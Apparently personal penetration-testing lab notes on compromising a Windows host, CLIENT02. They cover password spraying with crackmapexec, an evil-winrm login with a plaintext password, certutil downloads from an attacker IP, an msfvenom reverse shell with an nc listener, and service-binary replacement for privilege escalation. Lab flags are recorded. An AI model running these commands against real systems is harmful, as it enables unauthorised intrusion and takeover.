172.16.174.83 (CLIENT02)

Flags Obtained

Local:
    a6c158f92df49c29e91347f970c2769d
    
Root:
    24bdf8a5280c15f2b0315c89839d3788

Access method

Identified by:
    for i in $(seq 82 83); do proxychains crackmapexec winrm 172.16.116.$i -u keychains/users.txt -p keychains/passwords.txt --continue-on-success; done

Gain access with:
    proxychains evil-winrm -i 172.16.116.83 -u wario -p Mushroom\!
    

certutil -urlcache -split -f http://192.168.45.239/winPEASx64.exe C:\Users\Public\Documents\winPEAS.exe

Enumeration

whoami
whoami /groups
whoami /priv

certutil -urlcache -split -f http://192.168.45.239/winPEASx64.exe winPEASx64.exe
./winPEASx64.exe

Potentialy vulnerable file
    C:\DevelopmentExecutables\auditTracker.exe

Verify with: icacls C:\DevelopmentExecutables\auditTracker.exe

Privilege Escalation

On Kali machine:
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.239 LPORT=8888 -f exe -o rev.exe
    nc -nlvp 8888
    
On Victim machine:
    certutil -urlcache -split -f http://192.168.45.239/rev.exe rev.exe
    move C:\DevelopmentExecutables\auditTracker.exe auditTracker.exe
    move rev.exe C:\DevelopmentExecutables\auditTracker.exe
    
    sc.exe stop auditTracker
    sc.exe start auditTracker

Admin Enumeration

systeminfo
whoami
whoami /groups
whoami /priv

powershell -ep bypass
Get-ChildItem -Path C:\Users -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*ini,*.log -File -Recurse -ErrorAction SilentlyContinue

type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\wario\Desktop\local.txt

type C:\Users\administrator.MEDTECH\Documents\Security\Logs\test.log